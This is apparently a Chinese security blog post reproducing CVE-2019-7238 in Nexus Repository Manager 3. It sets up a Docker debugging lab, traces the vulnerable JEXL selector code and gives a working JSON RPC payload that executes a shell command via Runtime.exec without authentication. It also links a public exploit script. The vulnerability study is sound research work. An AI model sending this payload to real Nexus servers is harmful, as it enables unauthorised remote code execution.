0x00 前言
在渗透测试某不知名学校(实为江西省某211)的网站的时候,发现了有一个网站部署了Nexus Repository Manager,无奈自己知识面太窄,没有接触过,搜索相关版本的漏洞也无功而返。因此,就先来复现一下历史漏洞,一来是熟悉一下这个中间件的操作,二来是为以后的渗透打下基础。本篇包含以下元素:
- 利用IDEA与Docker进行远程动态调试
- Nexus Repo Manager3 (3.6.2 版本到 3.14.0 版本)的RCE(CVE-2019-7238)
0x01 环境搭建
拉取镜像
使用命令docker pull sonatype/nexus3:3.14.0
拉取docker镜像
下载源码
记得下载3.6.2到3.14.0版本的源码,这个漏洞在3.15.0被修复。下载链接🔗:
https://github.com/sonatype/nexus-public/archive/refs/tags/release-3.14.0-04.zip
IDEA配置远程服务器
用IDEA打开刚刚下载的源码,然后添加配置,选择远程JVM调试,填入虚拟机(因为我用的虚拟机跑的docker)的IP还有端口,这个端口是之后我们docker run需要映射的调试端口:
然后我们使用CTRL+N全局搜索src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy
找到漏洞触发点,在185行打下断点。
启动容器
docker run -d -p 8081:8081 -p 8000:8000 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=${NEXUS_DATA}/javaprefs -Dstorage.diskCache.diskFreeSpaceLimit=1024 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000" sonatype/nexus3:3.14.0
第一个端口映射8081:8081是Nexus的Web端口,第二个端口映射8000:8000是我们设置的调试端口,将映射端口和docker内端口保持一致是为了方便。
然后在JVM参数INSTALL4J_ADD_VM_PARAMS
中设定了最大存储大小: -Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g
。
另外这里还设定了 -Dstorage.diskCache.diskFreeSpaceLimit=1024
,因为我的虚拟机空间不足了….他默认设定是4096,目前还不确定是否有什么大影响,先用着把。
还设置了Nexus的存储目录为:/nexus-data
,最后加上了我们IDEA中帮我们生成的参数用于远程调试。注意这里我们还把address
的*
去掉了,不然可能出现不可达。
然后我们在浏览器测试是否成功:
登录
看网上说docker启动的Nexus需要用过命令获取密码,但是这里我们的镜像可能是因为版本问题,默认密码就是admin123
调试环境测试
点击绿绿的小虫子,如果显示已连接到目标 VM, 地址: ''192.168.x.x:8000',传输: '套接字''
则表示可以进行调试。但不知道为什么,我的IDEA没有给我的所有文件添加上索引导致我无法顺滑的跳转到相关函数,重试了好多次…最后我只能看别的文章找到对应的文件和对应的行,毫无调试体验🐣。(后来发现很可能是Maven没有把一些组件导入的原因)
0x02 漏洞分析
漏洞简介
漏洞发生在管理界面中“Conetent Selectors”处中的Preview功能。
可以看到其中可以填入CSEL表达式,是一种轻量版的JEXL。我们知道JEXL经常会有注入或者命令执行的漏洞,此处便是对JEXL的过滤不严,导致了可以RCE。
寻找入口
用Burp抓包,我们可以看到响应包中给出了处理的方法名为“previewAssets”,当然这也可能是我马后炮….具体大佬们怎么发现的,不太清楚。
IDEA全局搜索,确定文件为:src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy
第188行。其中POST传参为:
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"test"},{"property":"type","value":"csel"}]}],"type":"rpc","tid":8}
previewAssets函数
if (type == JexlSelector.TYPE) {
jexlExpressionValidator.validate(expression)
}
else if (type == CselSelector.TYPE) {
cselExpressionValidator.validate(expression)
}
首先这里会判断类型然后对我们传入的Expression进行验证,使用Nexus时,默认传入Type的就是csel,但是我们可以抓包改成jexl。为什么要改呢?我们可以跟进两者的validate查看验证过程,首先看CSEL(src/main/java/org/sonatype/nexus/selector/CselValidator.java):
public boolean validate(final String expression) {
ASTJexlScript parseTree = parser.parse(CALLER_INFO, expression, null, false, true);
Boolean result = true;
return (boolean) visit(parseTree, result);
}
protected Object visit(final ASTReference node, final Object data) {
List<String> parentNames = asList("coordinate");
List<String> childNames = asList("groupId", "artifactId", "version", "extension", "classifier", "id");
//...略,自己看代码
}
看不懂他在干啥(大佬说这里进行了函数和属性的个数还有解析后内容做了限制)…不过没事,我们再来看看JEXL的验证(src/main/java/org/sonatype/nexus/selector/JexlSelector.java):
public JexlSelector(final String expression) {
this.expression = isNullOrEmpty(expression) ? Optional.<JexlExpression>empty()
: Optional.of(threadLocalJexl.get().createExpression(CALLER_INFO, expression));
}
只检查是否为空,简直不要太好,而且jexl的命令执行我们显然是更熟悉的😋,所以我们就选定jexl构造一个Payload来测试看看。
Payload
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
注意,我们修改了type为jexl,并且修改了expression为\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")
。不过有一点我奇怪的是,上次我在JNDI注入高版本绕过(点我看详情)的时候利用的javax.el.ELProcessor中的eval函数并没有使用反射调用也可以执行命令。这里我测试了之后发现,不使用反射调用,会显示Runtime未定义(可以在docker容器运行时的输出看到,如果你不用-d参数), 大概是JEXL和EL不是同种东西吧。
重新发送我们的Payload的之后,exec进docker容器发现似乎并没有成功执行?当然,我们现在只是测试,还并没有找到漏洞的触发点,说不定还有其他的限制,所以我们现在进一步的跟进去找到漏洞触发点。
def result = browseService.previewAssets(
repositorySelector,
selectedRepositories,
expression,
toQueryOptions(parameters))
可以看到,在判断为type后,会把我们的参数传入browseService.previewAssets
browseService.previewAsset函数
src/main/java/org/sonatype/nexus/repository/browse/internal/BrowseServiceImpl.java的234行,但我们注意到其中的258行有类似于数据库的操作:
String whereClause = String.format("and (%s)", builder.buildWhereClause());
打下断点,调试后得到:
and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)
很明显的是SQL语句了(其实是Nexus使用的OrientDb),但我们还不知道这条语句的全貌,所以我们继续往下看,第261行:
return new BrowseResult<>(
storageTx.countAssets(null, builder.buildSqlParams(), previewRepositories, whereClause),
Lists.newArrayList(storageTx.findAssets(null, builder.buildSqlParams(),
previewRepositories, whereClause + builder.buildQuerySuffix()))
);
return的是BrowseResult,看名字就知道这里执行了查询结果然后返回,所以我们继续跟进其中的storageTx.countAssets。
storageTx.countAssets函数
src/main/java/org/sonatype/nexus/repository/storage/StorageTxImpl.java的第390行:
public long countAssets(@Nullable String whereClause,
@Nullable Map<String, Object> parameters,
@Nullable Iterable<Repository> repositories,
@Nullable String querySuffix)
{
return assetEntityAdapter.countByQuery(db, whereClause, parameters, bucketsOf(repositories), querySuffix);
}
没啥用,继续跟进。
assetEntityAdapter.countByQuery函数
src/main/java/org/sonatype/nexus/repository/storage/MetadataNodeEntityAdapter.java的第207行。在此函数设下断点调试后,我们最后得到了完整的查询语句为:
select count(*) from asset where (bucket=#16:0 or bucket=#15:1 or bucket=#15:3 or bucket=#15:2 or bucket=#16:2 or bucket=#15:0 or bucket=#16:1) and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)
可以看到会从asset查询,并且查询语句的连接是用AND,所以我们只有保证asset能查出数据,才会去执行我们后面的jexl表达式。虽然不清楚bucket=xx具体是什么意思,但是我们可以上传一个asset来看看是否正常执行了我们的命令。
上传asset
登录后,可以随便上传一个什么文件,这些都可以随便填,这里我上传了一个图片:
漏洞复现
这时候,我们再重新发送我们的payload,之后使用docker exec -it nexus bash
进入容器,再使用命令cd /tmp && ls
查看是否成功创建文件:
注意,虽然我们在上面的抓包和上传中,都登录了管理员账号,但实际上这个漏洞是不需要登录的,我们只需要构造对应的Post请求即可发动攻击,因为在实际环境中,Repo里面肯定已经有了asset,不需要我们再去上传,而抓包只是为了讲解这个漏洞。
最终触发点
如果你想知道最终的触发点,即表达式是在何处执行的话,可以继续跟进org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction查看:
漏洞修复
@RequiresPermissions('nexus:selectors:*')
3.15.0增加了权限要求,在后续的版本中好像还增加了对Jexl的白名单。
0x03 回显方法
上面虽然成功执行了命令,但是我们并不能在数据包中获得命令执行后的回显。Vulhub里面说用ClassLoader来回显,但是打了一个无敌巨厚的码😅,我不知道他作为一个靶场打这么厚的码干什么…对我这种菜狗小白十分不友好。
这里就先放一个利用脚本链接,之后再来补充这里面的理论知识:jas502n/CVE-2019-7238: Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0 (github.com)
0x04 参考
nexus_rce_CVE-2019-7238/nexus.md at master · verctor/nexus_rce_CVE-2019-7238 (github.com)
Nexus Repository Manager 3 CVE-2019-7238 IDEA远程调试 | Twings (aluvion.github.io)
Nexus Repository Manager 3 远程代码执行漏洞 (CVE-2019-7238) 分析及利用 - 安全客,安全资讯平台 (anquanke.com)